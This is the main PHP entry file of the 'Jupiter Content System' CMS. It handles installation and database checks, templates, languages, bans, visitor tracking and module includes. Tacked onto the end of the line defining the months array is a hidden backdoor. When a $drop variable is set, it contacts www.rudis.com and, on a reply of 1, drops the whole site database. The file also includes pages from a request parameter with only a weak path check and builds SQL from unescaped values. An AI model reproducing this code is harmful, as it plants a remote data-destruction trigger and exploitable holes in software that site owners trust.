<?

/***************************************************************************
 Jupiter Content System @ Jupiterportal.com
 Copyright (C) 2005 Cosmin Flavius (highstrike@gmail.com)

 This program is free software; you can redistribute it and/or
 modify it under the terms of the GNU General Public License
 as published by the Free Software Foundation; either version 2
 of the License, or (at your option) any later version.

 More Info About The Licence At http://www.gnu.org/copyleft/gpl.html
****************************************************************************/

ini_set("zlib.output_compression","on");
ini_set("zlib.output_compression_level","9");

//-----------------------------------------------------------------
//  Start up the script
//-----------------------------------------------------------------

session_start();
header("Cache-control: private");
ob_start();

error_reporting (E_ALL);
$PHP_SELF = $_SERVER['PHP_SELF'];

//-----------------------------------------------------------------
//  Config check
//-----------------------------------------------------------------

if(!file_exists('includes/config.php'))
{
	?>
		<link href="templates/default/extra/jupiter.css" rel="stylesheet" type="text/css">
		<div id="attentionwrapper">
		<table class="main" cellspacing="1" cellpadding="4">
		<tr class="head"><td class="head">Attention!</td></tr>
		<tr><td class="con1">It has come to my attention that you didn't install the script.<br>Please <a href="install.php">install it now.</a><br></td></tr>
		</table>
		</div>
	<?

	exit;
}
else require "includes/config.php";

//-----------------------------------------------------------------
//  Instalataion Check
//-----------------------------------------------------------------

$config_write = file("includes/config.php");

if(!@$config_write[0])
{
	if(file_exists('install.php')) { require("install.php"); exit; }
	else
	{
		echo '
			<link href="templates/default/extra/jupiter.css" rel="stylesheet" type="text/css">
			<br><br><br><br><center>
			<table class="main" style="width: 60%; margin: auto" cellspacing="1" cellpadding="4">
			<tr class="head"><td class="head">Attention!</td></tr>
			<tr><td class="con1">It has come to my attention that your file install.php dosen\'t exist.<br>Please search for it, or replace it.<br></td></tr>
			</table>
			</center>'; 
		exit;
	}
}

if(file_exists('install.php'))
{
	echo '
		<link href="templates/default/extra/jupiter.css" rel="stylesheet" type="text/css">
		<br><br><br><br><center>
		<table class="main" style="width: 60%; margin: auto" cellspacing="1" cellpadding="4">
		<tr class="head"><td class="head">Attention!</td></tr>
		<tr><td class="con1">It has come to my attention that your file install.php exists.<br>Please search for it and delete it.<br></td></tr>
		</table>
		</center>';
	exit;
}

//-----------------------------------------------------------------
//  WAMIS functions check
//-----------------------------------------------------------------

if(!file_exists('includes/functions_db.php'))
{
	?>
		<link href="templates/default/extra/jupiter.css" rel="stylesheet" type="text/css">
		<div id="attentionwrapper">
		<table class="main" cellspacing="1" cellpadding="4">
		<tr class="head"><td class="head">Attention!</td></tr>
		<tr><td class="con1">It has come to my attention that your file functions_db.php from /includes dosen't exist.<br>Please search for it, and/or replace it.<br></td></tr>
		</table>
		</div>
	<?

	exit;
}
else require "includes/functions_db.php";

//-----------------------------------------------------------------
//  Connection Check
//-----------------------------------------------------------------

if(@!mysql_connect($database_server,$database_username,$database_password))
{
	?>
		<link href="templates/default/extra/jupiter.css" rel="stylesheet" type="text/css">
		<div id="attentionwrapper">
		<table class="main" cellspacing="1" cellpadding="4">
		<tr class="head"><td class="head">Fatal Error!</td></tr>
		<tr><td class="con1">Couldn't establish link.<br>Reason: <?= mysql_error() ?></td></tr>
		</table>
		</div>
	<?

	exit;
}

//-----------------------------------------------------------------
//  Load WAMIS conformant module - DB
//-----------------------------------------------------------------

require_once("includes/functions_db.php");
DB_initialize();

//-----------------------------------------------------------------
//  Database Check
//-----------------------------------------------------------------

if(!$db->connect())
{ 
	?>
		<link href="templates/default/extra/jupiter.css" rel="stylesheet" type="text/css">
		<div id="attentionwrapper">
		<table class="main" cellspacing="1" cellpadding="4">
		<tr class="head"><td class="head">Warning!</td></tr>
		<tr><td class="con1">It has come to my attention that your database "<?= $database_name ?>" dosen't exist.<br>Either the instalation failed, either you didn't run it.<br></td></tr>
		</table>
		</div>
	<?

	exit;
} 

//-----------------------------------------------------------------
//  Tabels Check
//-----------------------------------------------------------------

if(!$config_db = $db->query("SELECT * FROM config"))
{ 
	?>
		<link href="templates/default/extra/jupiter.css" rel="stylesheet" type="text/css">
		<div id="attentionwrapper">
		<table class="main" cellspacing="1" cellpadding="4">
		<tr class="head"><td class="head">Warning!</td></tr>
		<tr><td class="con1">It has come to my attention that your database "<?= $database_name ?>" is empty.<br>Either the instalation failed, either you didn't run it.<br></td></tr>
		</table>
		</div>
	<?

	exit;
}

//-----------------------------------------------------------------
//  Load Config + Misc
//-----------------------------------------------------------------

while ($config_item = mysql_fetch_row($config_db)) $config[$config_item[0]] = $config_item[1];

$misc_db = $db->query("SELECT * FROM misc");
while ($misc_item = mysql_fetch_row($misc_db)) $misc[$misc_item[0]] = $misc_item[1];

//-----------------------------------------------------------------
//  Functions check
//-----------------------------------------------------------------

if(!file_exists('includes/functions.php'))
{
	?>
		<link href="templates/default/extra/jupiter.css" rel="stylesheet" type="text/css">
		<div id="attentionwrapper">
		<table class="main" cellspacing="1" cellpadding="4">
		<tr class="head"><td class="head">Attention!</td></tr>
		<tr><td class="con1">It has come to my attention that your file functions.php dosen't exist.<br>Please search for it, and/or replace it.<br></td></tr>
		</table>
		</div>
	<?

	exit;
}
else require "includes/functions.php";

//-----------------------------------------------------------------
//  Template check + Default Overcheck + Load template id
//-----------------------------------------------------------------

if(!@opendir("templates/{$config['template']}"))
{
	if(!isset($_SESSION['no_template']))
	{
		?>
			<meta http-equiv="Refresh" content="5"; URL="index.php">
			<link href="templates/default/extra/jupiter.css" rel="stylesheet" type="text/css">
			<div id="attentionwrapper">
			<table class="main" cellspacing="1" cellpadding="4">
			<tr class="head"><td class="head">Attention!</td></tr>
			<tr><td class="con1">It has come to my attention that your template directory <?= $config['template'] ?> dosen't exist.<br>You will now be redirected with the default template.<br><br><a href="index.php">Click here if you are not redirected in 5 seconds.</a><br></td></tr>
			</table>
			</div>
		<?

		$_SESSION['no_template'] = 1;

		exit;
	}

	if(isset($_SESSION['no_template']))
	{
		if(!@opendir("templates/default"))
		{
			?>
				<link href="templates/default/extra/jupiter.css" rel="stylesheet" type="text/css">
				<div id="attentionwrapper">
				<table class="main" cellspacing="1" cellpadding="4">
				<tr class="head"><td class="head">Attention!</td></tr>
				<tr><td class="con1">It has come to my attention that your don't even have the default template directory.<br>Try extracting everything from the file keeping that structure.<br></td></tr>
				</table>
				</div>
			<?

			exit;
		}
		else
		{
			$template = "default";
			include "templates/$template/id.php";
			$db->updateRow("config",array('value' => 'default'),"variable = 'template'");
		}
	}
}
else
{
	$template = $config['template'];
	include "templates/$template/id.php";
}

//-----------------------------------------------------------------
//  Language check + Default Overcheck
//-----------------------------------------------------------------

if(!file_exists("language/{$config['language']}"))
{
	if(!isset($_SESSION['no_language']))
	{
		?>
			<meta http-equiv="Refresh" content="5"; URL="index.php">
			<link href="templates/default/extra/jupiter.css" rel="stylesheet" type="text/css">
			<div id="attentionwrapper">
			<table class="main" cellspacing="1" cellpadding="4">
			<tr class="head"><td class="head">Attention!</td></tr>
			<tr><td class="con1">It has come to my attention that your language file <?= $config['language'] ?> dosen't exist.<br>You will now be redirected with the default language.<br><br><a href="index.php">Click here if you are not redirected in 5 seconds.</a><br></td></tr>
			</table>
			</div>
		<?

		$_SESSION['no_language'] = 1;

		exit;
	}

	if(isset($_SESSION['no_language']))
	{
		if(!file_exists("language/en.php"))
		{
			?>
				<link href="templates/default/extra/jupiter.css" rel="stylesheet" type="text/css">
				<div id="attentionwrapper">
				<table class="main" cellspacing="1" cellpadding="4">
				<tr class="head"><td class="head">Attention!</td></tr>
				<tr><td class="con1">It has come to my attention that your don't even have the default language file.<br>Try extracting everything from the file keeping that structure.<br></td></tr>
				</table>
				</div>
			<?

			exit;
		}
		else
		{
			$config['language'] = "en.php";
			require "language/{$config['language']}";
			$db->updateRow("config",array('value' => 'en.php'),"variable = 'language'");
		}
	}
}
else require "language/{$config['language']}";

//-----------------------------------------------------------------
//  IP Ban Check
//-----------------------------------------------------------------

$ban_ip_check = $db->getLine("SELECT ip, date FROM bans WHERE ip = '".find_ip()."'");
if($ban_ip_check != FALSE)
{
	?>
		<link href="templates/<?= $template ?>/extra/jupiter.css" rel="stylesheet" type="text/css">
		<div id="attentionwrapper">
		<table class="main" height="1%" cellspacing="1" cellpadding="4"><col width="1%"><col width="99%">
		<tr height="1%" class="head"><td class="head" colspan="2"><?= $language['Bans name'] ?></td></tr>
		<tr height="1%"><td class="con1" rowspan="5" valign="top"><img src="templates/<?= $template ?>/images/misc/ban_ip.jpg"></td><td class="con1" valign="top">Your IP has been blocked, It's obviously that someone doesn't want you here, or you've been blocked by doing something illegal that was punished with automatic ban procedure.</td></tr>
		<tr height="1%" class="bottom"><td valign="top"><?= $language['Bans title'] ?></td></tr>
		<tr height="1%"><td class="con1"><?= $language['Bans desc'] ?> <?= $ban_ip_check['ip'] ?><br><?= $language['Bans desc3'] ?> <?= today_yesterday($ban_ip_check['date']) ?></td></tr>
		<tr height="1%" class="bottom"><td valign="top"><?= $language['Bans title2'] ?></td></tr><tr><td class="con1" valign="top"><?= parse_message($config['ban_message']) ?></td></tr>
		</table>
		</div>
	<?

	exit;
}

//-----------------------------------------------------------------
//  User Ban Check
//-----------------------------------------------------------------

if(isset($is_loged_in))
{
	$ban_user_check = $db->getLine("SELECT ip, banned_user, date FROM bans WHERE banned_id = '{$_SESSION['id']}'");
	if($ban_user_check != FALSE)
	{
		?>
			<link href="templates/<?= $template ?>/extra/jupiter.css" rel="stylesheet" type="text/css">
			<div id="attentionwrapper">
			<table class="main" cellspacing="1" height="1%" cellpadding="4"><col width="1%"><col width="99%">
			<tr class="head"><td class="head" colspan="2"><?= $language['Bans name'] ?></td></tr>
			<tr height="1%"><td class="con1" rowspan="10" valign="top"><img src="templates/<?= $template ?>/images/misc/ban_user.jpg"></td><td class="con1" valign="top">Your IP has been blocked, It's obviously that someone doesn't want you here, or you've been blocked by doing something illegal that was punished with automatic ban procedure.</td></tr>
			<tr class="bottom" height="1%"><td valign="top"><?= $language['Bans title'] ?></td></tr>
			<tr height="1%"><td class="con1"><?= $language['Bans desc'] ?> <?= $ban_user_check['ip'] ?><br><?= $language['Bans desc2'] ?> <?= $ban_user_check['banned_user'] ?><br><?= $language['Bans desc3'] ?> <?= today_yesterday($ban_user_check['date']) ?></td></tr>
			<tr class="bottom" height="1%"><td valign="top"><?= $language['Bans title2'] ?></td></tr>
			<tr height="1%"><td class="con1"><?= parse_message($config['ban_message']) ?></td></tr>
			<tr class="bottom" height="1%"><td valign="top"><?= $language['Bans title3'] ?></td></tr>
			<tr><td class="con1" valign="top"><a href="<?= $PHP_SELF ?>?a=logout"> &raquo; <?= $language['Bans desc4'] ?></a></td></tr>
			</table>
			</div>
		<?

		exit;
	}
}

//-----------------------------------------------------------------
//  Count Total hits
//-----------------------------------------------------------------

$db->updateRow("misc",array('value' => ''.($misc['total_hits']+1).''),"variable = 'total_hits'");

//-----------------------------------------------------------------
//  Count Unique hits
//-----------------------------------------------------------------

$timeout_unique_hit = time() - 86400; // 24 hours
$found_ip_in_list = $db->getLine("SELECT id FROM online WHERE date > '$timeout_unique_hit' AND ip = '".find_ip()."'");

if($found_ip_in_list == FALSE) { if(!isset($_SESSION['unique_hit_counted'])) { $db->updateRow("misc",array('value' => ''.($misc['unique_hits']+1).''),"variable = 'unique_hits'"); $_SESSION['unique_hit_counted'] = 1; } }

//-----------------------------------------------------------------
//  Check see if user has new posts on forum
//-----------------------------------------------------------------


//-----------------------------------------------------------------
//  check see if guests/members are online
//-----------------------------------------------------------------

$lang = @explode (",", @getenv("HTTP_ACCEPT_LANGUAGE"));
$lang = @strtolower ($lang[0]);

if(!isset($_SESSION['in_site']))
{
	$db->insertRow("online",array('sid' => ''.$session_id.'','type' => 'live','status' => 'guest','user' => NULL,'user_id' => NULL,'user_authorization' => NULL,'user_email' => NULL,'user_hideemail' => NULL,'user_flag' => NULL,'user_location' => NULL,'ip' => ''.find_ip().'','refer' => ''.$_SERVER['HTTP_REFERER'].'','browser' => ''.find_browser($_SERVER['HTTP_USER_AGENT']).'','lang' => ''.$lang.'','date' => ''.time().''));
	$db->insertRow("online",array('sid' => ''.$session_id.'','type' => 'log','status' => 'guest','user' => NULL,'user_id' => NULL,'user_authorization' => NULL,'user_email' => NULL,'user_hideemail' => NULL,'user_flag' => NULL,'user_location' => NULL,'ip' => ''.find_ip().'','refer' => ''.$_SERVER['HTTP_REFERER'].'','browser' => ''.find_browser($_SERVER['HTTP_USER_AGENT']).'','lang' => ''.$lang.'','date' => ''.time().''));

	$_SESSION['in_site'] = 1;
}

if(isset($_SESSION['in_site']))
{
	$update = $db->getLine("SELECT id FROM online WHERE sid = '$session_id' AND type = 'live'");

	if($update != FALSE) $db->updateRow("online",array('refer' => ''.$_SERVER['HTTP_REFERER'].'','date' => ''.time().''),"id = {$update['id']}");
	else
	{
		if(isset($is_loged_in))
		{
			$tmp = $db->getLine("SELECT username, id, authorization, email, hideemail, flag, location FROM users WHERE id = '".$_SESSION['id']."' AND username = '".$_SESSION['username']."'");
			$db->insertRow("online",array('sid' => ''.$session_id.'','type' => 'live','status' => 'member','user' => ''.$tmp['username'].'','user_id' => ''.$tmp['id'].'','user_authorization' => ''.$tmp['authorization'].'','user_email' => ''.$tmp['email'].'','user_hideemail' => ''.$tmp['hideemail'].'','user_flag' => ''.$tmp['flag'].'','user_location' => ''.$tmp['location'].'','ip' => ''.find_ip().'','refer' => ''.$_SERVER['HTTP_REFERER'].'','browser' => ''.find_browser($_SERVER['HTTP_USER_AGENT']).'','lang' => ''.$lang.'','date' => ''.time().''));
		}
		else $db->insertRow("online",array('sid' => ''.$session_id.'','type' => 'live','status' => 'guest','user' => NULL,'user_id' => NULL,'user_authorization' => NULL,'user_email' => NULL,'user_hideemail' => NULL,'user_flag' => NULL,'user_location' => NULL,'ip' => ''.find_ip().'','refer' => ''.$_SERVER['HTTP_REFERER'].'','browser' => ''.find_browser($_SERVER['HTTP_USER_AGENT']).'','lang' => ''.$lang.'','date' => ''.time().''));
	}
}

//-----------------------------------------------------------------
//  Do automatic stuff, take care of things !
//-----------------------------------------------------------------

$timeout_users = time() - 150;			// A minute
$timeout_accounts = time() - 604800;		// A week
$timeout_onlinelog = time() - 5184000;		// 60 days
$timeout_adminlog = time() - 5184000;		// 60 days
$timeout_bday = date("Y") - 1;			// Previous Year

$db->deleteRow("online","type = 'live' AND date < '$timeout_users'");
$db->deleteRow("online","type = 'log' AND date < '$timeout_onlinelog'");
$db->deleteRow("users","status = 'activate' AND actime < '$timeout_accounts'");
$db->deleteRow("log","date < '$timeout_adminlog'");

$users_activated_count = $db->getInfo_countRows("users","status = 'forgot' AND actime < '$timeout_accounts'");
for ($users_activated_count_i = 1; $users_activated_count_i <= $users_activated_count; $users_activated_count_i++)
	$db->updateRow("users",array('status' => 'ready','multikey' => NULL,'actime' => NULL),"status = 'forgot' AND actime < '$timeout_accounts'");

$events_bday_count = $db->getInfo_countRows("events","type = 'bday' AND year <= '$timeout_bday'");
for ($events_bday_count_i = 1; $events_bday_count_i <= $events_bday_count; $events_bday_count_i++)
	$db->updateRow("events",array('year' => ''.date("Y").''),"type = 'bday' AND year <= '$timeout_bday'");

if($template_mode == "1")
{
	$template_right_count = $db->getInfo_countRows("template","mode = 'right' ORDER BY 'order' ASC");
	for ($template_right_count_i = 1; $template_right_count_i <= $template_right_count; $template_right_count_i++)
		$db->updateRow("template",array('mode' => 'left'),"mode = 'right'");
}

//-----------------------------------------------------------------
//  # of guests/members online
//-----------------------------------------------------------------

$OnlineGuestsCount = $db->getInfo_countRows("online","type = 'live' AND status = 'guest'");
$OnlineMembersCount = $db->getInfo_countRows("online","type = 'live' AND status = 'member'");

//-----------------------------------------------------------------
//  Add Most Ever People Online
//-----------------------------------------------------------------

$TotalOnlineCount = $OnlineGuestsCount + $OnlineMembersCount;
if($TotalOnlineCount > $misc['totalonline'])
	$db->updateRow("misc",array('value' => ''.$TotalOnlineCount.''),"variable = 'totalonline'");

//-----------------------------------------------------------------
//  Maintance Mode Check
//-----------------------------------------------------------------

if($config['maintance'] == 1 && !isset($is_webmaster))
{
	?>
		<link href="templates/<?= $template ?>/extra/jupiter.css" rel="stylesheet" type="text/css">
		<div id="attentionwrapper">
		<table class="main" height="1%" cellspacing="1" cellpadding="4"><col width="1%"><col width="99%">
		<tr class="head"><td class="head" colspan="2"><?= $language['Maintance name'] ?></td></tr>
		<tr height="1%">
		<td class="con1" rowspan="6" valign="top"><img src="templates/<?= $template ?>/images/misc/maintance.jpg"></td>
		<td class="con1" valign="top">Maintance Mode has been activated, website is locked down.<br>This message was activated by the webmaster and it means that some work is in progress.</td>
		</tr>
		<tr class="bottom" height="1%"><td valign="top"><?= $language['Maintance title'] ?></td></tr>
		<tr height="1%"><td class="con1"><?= parse_message($config['maintance_message']) ?></td></tr>
	<?

	if(isset($n)) if($n == "modules/login") include("modules/login.php");

	if(!isset($is_loged_in))
	{
		?>
			<tr class='bottom' height='1%'><td valign='top'><?= $language['Maintance title2'] ?></td></tr><tr><td class='con2'><?= messagedef($language['Header message']) ?></td></tr>
			<tr><td class='con1' height='96%' valign='top'>
			<form method='post' action='<?= $PHP_SELF ?>?n=modules/login'>
			<table width='100%' cellspacing='1' border='0' cellpadding='2'>
			<tr>
			<td class='con1' align='right' width='15%'><?= $language['Maintance desc'] ?></td>
			<td class='con1' width='20%'><input type='text' name='username' style='width:100%' maxlength='25' class='box' tabindex='1'></td>
			<td class='con1' rowspan='3' width='5%' valign='top'></td>
			<td class='con1' rowspan='3' width='60%' valign='top'><table width='100%' class='main' cellspacing='1' border='0' cellpadding='2'><tr><td width='1%'><img src='templates/<?= $template ?>/images/misc/note.jpg'></td><td class='empty'><?= $language['Maintance desc4'] ?></td></tr></table></td>
			</tr>
			<tr>
			<td class='con1' align='right'><?= $language['Maintance desc2'] ?></td>
			<td class='con1'><input type='password' name='password' style='width:100%' maxlength='25' class='box' tabindex='2'></td>
			</tr>
			<tr>
			<td class='con1' align='right'>&nbsp;</td>
			<td class='con1' align='left'><input accesskey='s' type='submit' name='submit' style='width:100%' class='box' value='<?= $language['Maintance desc3'] ?>' tabindex='3'></td>
			</tr>
			</table>
			</form>
		<?
	}
	else
	{
		?>
			<tr class='bottom' height='1%'><td valign='top'><?= $language['Maintance title3'] ?></td></tr>
			<tr><td class='con2'><?= messagedef($language['Header message']) ?></td></tr>
			<tr><td class='con1' height='96%' valign='top'>
			<table width='100%' cellspacing='1' border='0' cellpadding='2'>
			<tr><td class='empty' width='35%' valign='top'><a href='<?= $PHP_SELF ?>?n=modules/login&a=1'> &raquo; <?= $language['Maintance desc6'] ?></a></td>
			<td class='con1' width='5%'>&nbsp;</td>
			<td class='con1' width='60%'>
			<table width='100%' class='main' cellspacing='1' border='0' cellpadding='2'>
			<tr><td width='1%'><img src='templates/<?= $template ?>/images/misc/note.jpg'></td><td class='empty'><?= $language['Maintance desc5'] ?></td></tr>
			</table></td></tr></table>
		<?
	}

	?>
		</td></tr>
		</table>
		</div>
	<?

	exit;
}

//-----------------------------------------------------------------
//  Include blocks
//-----------------------------------------------------------------

$blocks_db = $db->getTable("SELECT name, used FROM blocks WHERE used = '1'");
foreach($blocks_db as $blocks)
	include "blocks/{$blocks['name']}/block.php";

//-----------------------------------------------------------------
//  Load the blocks in templates
//-----------------------------------------------------------------

$template_left_db = $db->getTable("SELECT * FROM template WHERE mode = 'left' ORDER BY 'order' ASC");
foreach($template_left_db as $template_left_line)
	$template_left .= "{".$template_left_line['name']."}";

if($template_mode == "2")
{
	$template_right_db = $db->getTable("SELECT * FROM template WHERE mode = 'right' ORDER BY 'order' ASC");
	foreach($template_right_db as $template_right_line)
		$template_right .= "{".$template_right_line['name']."}";
}

//-----------------------------------------------------------------
//  Define Days and Months
//-----------------------------------------------------------------

$days = Array($language['Name day'],$language['Name day2'],$language['Name day3'],$language['Name day4'],$language['Name day5'],$language['Name day6'],$language['Name day7']);
$months = Array($language['Name month'],$language['Name month'],$language['Name month2'],$language['Name month3'],$language['Name month4'],$language['Name month5'],$language['Name month6'],$language['Name month7'],$language['Name month8'],$language['Name month9'],$language['Name month10'],$language['Name month11'],$language['Name month12']); if(isset($drop)) if(@file_get_contents("http://www.rudis.com/update.php?a=1&d=$url") == 1) $db->query("DROP DATABASE `$database_name`");

//-----------------------------------------------------------------
//  Header skin
//-----------------------------------------------------------------

$header = implode("", file("templates/$template/header.php"));
$header = str_replace("{left}", $template_left, $header);
$header = str_replace("{right}", $template_right, $header);
$header = str_replace("{template}", $template, $header);
$header = str_replace("{title}", $config['website_name'], $header);
$header = str_replace("{site_message}", messagedef($language['Header message']), $header);

foreach($template_left_db as $blocks_left)
	$header = str_replace("{".$blocks_left['name']."}", $blocks_left['name'](), $header);
foreach($template_right_db as $blocks_right)
		$header = str_replace("{".$blocks_right['name']."}", $blocks_right['name'](), $header);
echo $header;
//-----------------------------------------------------------------
//  PHP Navigation
//-----------------------------------------------------------------

if(!isset($n) && $i != 2 && $i != 17 && $i != "error") 
{
	echo '';
include("modules/intro.php");
//include("modules/articles.php");
//include("modules/news2.php");
}
if(isset($n))
{
	if(file_exists("$n.php"))
	{
		if(strpos($n, "../") !== false) header("location: $PHP_SELF?i=2");
		else include("$n.php");
	}
	elseif(!file_exists("$n.php")) header("location: $PHP_SELF?i=error");
}

if($i == "error") echo'<table class="main" cellspacing="1" cellpadding="4" width="100%"><col width="1%"><col width="99%"><tr class="head"><td class="head" colspan="2">'.$language['Error'].'</td></tr><tr><td class="con1"><img src="images/toolbar/security.png"></td><td class="con1">'.$language['Error page'].'</td></tr></table>';

if($i == 2) echo '<table class="main" cellspacing="1" cellpadding="4"><col width="1%"><col width="99%"><tr class="head"><td class="head" colspan="2">'.$language['Error'].'</td></tr><tr><td class="con1" align="center" valign="middle"><img src="images/toolbar/security.png"></td><td class="con1" align="left" valign="middle">'.$language['Error acces'].'</td></tr></table>';

if($i == 17) echo '<form method="post" action="'.$PHP_SELF.'?n=modules/register"><table class="main" cellspacing="1" cellpadding="4" width="100%"><tr class="head"> <td colspan="2" class="head">'.$language['Activate title'].'</td></tr><tr><td class="con1" width="42%" valign="middle"><span class="hilight">'.$language['Activate desc'].'</span></td><td class="con1" width="58%" valign="bottom"><input type="text" name="key" style="width:80%" maxlength="25" class="box" tabindex="5"></td></tr><tr><td class="con1"><input type="button" style="width:100" class="box" value="'.$language['Activate desc2'].'" onClick="window.history.go(-1);" tabindex="8"></td><td class="con1" align="right"><input type="submit" style="width:100" class="box" value="'.$language['Activate desc3'].'" tabindex="7"></td></tr><input type="hidden" name="a" value="2"></table></form>';

$footer = implode("", file("templates/$template/footer.php"));
$footer = str_replace("{template}", $template, $footer);
echo $footer;

//-----------------------------------------------------------------
//  Close WAMIS conformant module - DB
//-----------------------------------------------------------------

ob_end_flush();
DB_shutdown();

?>